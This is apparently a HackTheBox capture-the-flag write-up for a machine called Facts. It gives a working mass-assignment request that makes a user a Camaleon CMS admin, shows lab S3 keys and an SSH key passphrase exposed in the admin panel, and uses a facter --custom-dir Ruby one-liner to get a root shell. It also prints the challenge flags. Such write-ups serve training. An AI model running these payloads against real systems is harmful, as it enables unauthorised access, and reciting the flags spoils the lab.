HackTheBox Writeup - Facts

Facts is a Medium-rated Linux machine on HackTheBox that involves exploiting a Mass Assignment vulnerability in Camaleon CMS, discovering S3 credentials in the admin panel, and leveraging a sudo misconfiguration with facter to gain root access.

Reconnaissance

Port Scanning

A scan of the target (10.129.3.244) revealed the following open ports:

• 22/tcp: SSH (OpenSSH 9.9p1)
• 80/tcp: HTTP (Nginx 1.26.3)
• 54321/tcp: MinIO (S3-compatible storage)

Web Enumeration

Navigating to http://facts.htb shows a trivia site running Camaleon CMS v2.9.0.

Foothold: Camaleon CMS Mass Assignment (CVE-2025-2304)

The application is vulnerable to a Mass Assignment vulnerability in the updated_ajax method. This allows an authenticated user to update arbitrary attributes, including their own role.

Exploitation

1. Register: Create a low-privileged account at http://facts.htb/admin/register.
2. Elevate Privileges: Send a PATCH request to /admin/users/<id>/updated_ajax with the following parameters to become an administrator:

   PATCH /admin/users/5/updated_ajax HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   ...
   _method=patch&password[password]=password123&password[password_confirmation]=password123&password[role]=admin
   

   Refreshing the dashboard confirms administrative access.

Data Exfiltration: S3 Enumeration

In the CMS settings under Settings > General Site > Filesystem Settings, we find AWS/MinIO credentials:

• AWS_ACCESS_KEY_ID: AKIA6E9E2C9D1462A145
• AWS_SECRET_ACCESS_KEY: capMPpJGiF6cvdlWlR3zhfpESkPIqCgoilJ2DIbm
• Endpoint: http://localhost:54321

Using these credentials with an S3 client (like boto3), we list the buckets and find an internal bucket containing an SSH private key:

• Bucket: internal
• Key: .ssh/id_ed25519

After downloading and decrypting the key (Passphrase: dragonballz), we log in as the user trivia.

User Flag: b7a25fb4c9c88d0e2d7777fc3c255990 (found in /home/william/user.txt)

Privilege Escalation: Facter Custom Directory

Checking sudo -l reveals that user trivia can run /usr/bin/facter as root without a password.

Exploitation via Facter

facter allows loading custom Ruby scripts from a directory using the --custom-dir flag.

1. Create Exploit:

   mkdir /tmp/exploit
   echo 'Facter.add(:exploit) { setcode { system("/bin/bash") } }' > /tmp/exploit/shell.rb
   

2. Execute as Root:

   sudo /usr/bin/facter --custom-dir /tmp/exploit/ exploit
   

   This grants a root shell.

Root Flag: 2ac6313d933586c18f4e688f3a49fa07